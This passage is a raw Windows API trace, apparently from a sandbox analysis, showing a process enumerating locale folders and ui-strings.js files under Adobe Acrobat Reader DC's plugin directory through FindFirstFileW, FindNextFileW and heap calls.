nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.000] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.000] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0264.000] GetProcessHeap () returned 0xc10000 [0264.000] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.002] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.002] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.002] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.002] GetProcessHeap () returned 0xc10000 [0264.002] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.002] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0264.002] GetProcessHeap () returned 0xc10000 [0264.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.020] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.020] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.020] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.020] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.021] GetProcessHeap () returned 0xc10000 [0264.021] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.021] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0264.021] GetProcessHeap () returned 0xc10000 [0264.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.023] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.023] GetProcessHeap () returned 0xc10000 [0264.024] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.024] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0264.024] GetProcessHeap () returned 0xc10000 [0264.024] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.036] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x340d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x340d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.036] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.037] GetProcessHeap () returned 0xc10000 [0264.037] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.037] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0264.037] GetProcessHeap () returned 0xc10000 [0264.037] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.040] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.041] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.041] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.041] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.041] GetProcessHeap () returned 0xc10000 [0264.041] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.041] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0264.041] GetProcessHeap () returned 0xc10000 [0264.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.044] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.044] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x31cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.044] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x31cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.044] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.044] GetProcessHeap () returned 0xc10000 [0264.044] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.044] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0264.045] GetProcessHeap () returned 0xc10000 [0264.045] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.045] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.045] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2888, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.045] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2888, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.045] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.046] GetProcessHeap () returned 0xc10000 [0264.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.046] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0264.046] GetProcessHeap () returned 0xc10000 [0264.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.048] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.049] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, 